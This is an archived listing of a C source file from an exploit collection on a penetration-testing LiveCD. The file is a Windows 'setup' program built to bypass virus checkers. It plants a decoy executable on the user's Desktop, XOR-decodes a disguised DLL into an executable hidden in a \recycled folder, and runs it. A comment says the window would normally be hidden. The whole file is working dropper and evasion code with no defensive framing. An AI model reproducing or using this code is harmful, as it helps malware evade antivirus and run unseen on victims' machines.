home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / setup.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  87 lines

  1. /* Setup program for bypassing virus checkers */ 
  2.  
  3. #include <sys/types.h> 
  4. #include <sys/stat.h> 
  5. #include <fcntl.h> 
  6. #include <stdlib.h> 
  7. #include <dir.h> 
  8. #include <io.h> 
  9. #include <stdio.h> 
  10. #include <windows.h> 
  11.  
  12. #define SOURCE_FILE ".\\winsetup.dll" 
  13. #define DEST_FILE "\\recycled\\eicar.com" 
  14. #define DECOY_FILE ".\\decoy.exe" 
  15. #define DECOY_DIR_KEY
  16. "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" 
  17. #define DECOY_DIR_VAL "Desktop" 
  18. #define BUFSIZE 4096 
  19. #define XORME 25 
  20.  
  21. int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
  22. lpszCmdLine, int nCmdShow) 
  23. int sourcefile, destfile, bytesin,i; 
  24. char buffer[BUFSIZE],szDirName[256],szDecoyDir[512]; 
  25. long lerror; 
  26. HKEY regkey; 
  27. DWORD ValSize = sizeof(szDirName); /* How annoying */ 
  28.  
  29. /* Find out where the desktop is so we can put the decoy there */ 
  30. if((lerror =
  31. RegOpenKeyEx(HKEY_CURRENT_USER,DECOY_DIR_KEY,0,KEY_QUERY_VALUE,®key))
  32. != ERROR_SUCCESS) 
  33.     { 
  34.     exit(0); 
  35.     } 
  36. if((lerror =
  37. RegQueryValueEx(regkey,DECOY_DIR_VAL,0,NULL,&szDirName[0],&ValSize)) !=
  38. ERROR_SUCCESS) 
  39.     { 
  40.     exit(0); 
  41.     } 
  42. RegCloseKey(regkey); 
  43.  
  44.  
  45. /* Expand the dir name on the off chance it contains ENV vars */ 
  46. ExpandEnvironmentStrings(&szDirName[0],&szDecoyDir[0],sizeof(szDecoyDir)); 
  47. rename(DECOY_FILE,strcat(szDecoyDir,DECOY_FILE)); 
  48.  
  49.  
  50. /* It doesn't matter what mkdir's return code is. It'll make the dir if
  51. it 
  52. doesn't exist or fail of it does */ 
  53. mkdir("\\recycled"); 
  54.  
  55.  
  56. /* Prepare to "decrypt" the infected executable */ 
  57. if((sourcefile = open(SOURCE_FILE,O_RDONLY | O_BINARY)) == -1) 
  58.     { 
  59.     exit(0); 
  60.     } 
  61. if((destfile = open(DEST_FILE,O_WRONLY | O_CREAT | O_EXCL | O_BINARY,
  62. S_IREAD | S_IWRITE)) == -1) 
  63.     { 
  64.     exit(0); 
  65.     } 
  66.  
  67. /* "Decrypt" it */ 
  68. while((bytesin = read(sourcefile,&buffer[0],BUFSIZE)) != 0) 
  69.     { 
  70.     for(i=0;i<bytesin;i++) 
  71.         { 
  72.         buffer[i] ^= XORME; 
  73.         } 
  74.     write(destfile,&buffer[0],bytesin); 
  75.     } 
  76.  
  77. close(sourcefile); 
  78. close(destfile); 
  79.  
  80. /* Run the infected executable. You would normally use SW_HIDE here. */ 
  81. WinExec(DEST_FILE,SW_SHOWNORMAL); 
  82. return(0); 
  83.  
  84.  
  85.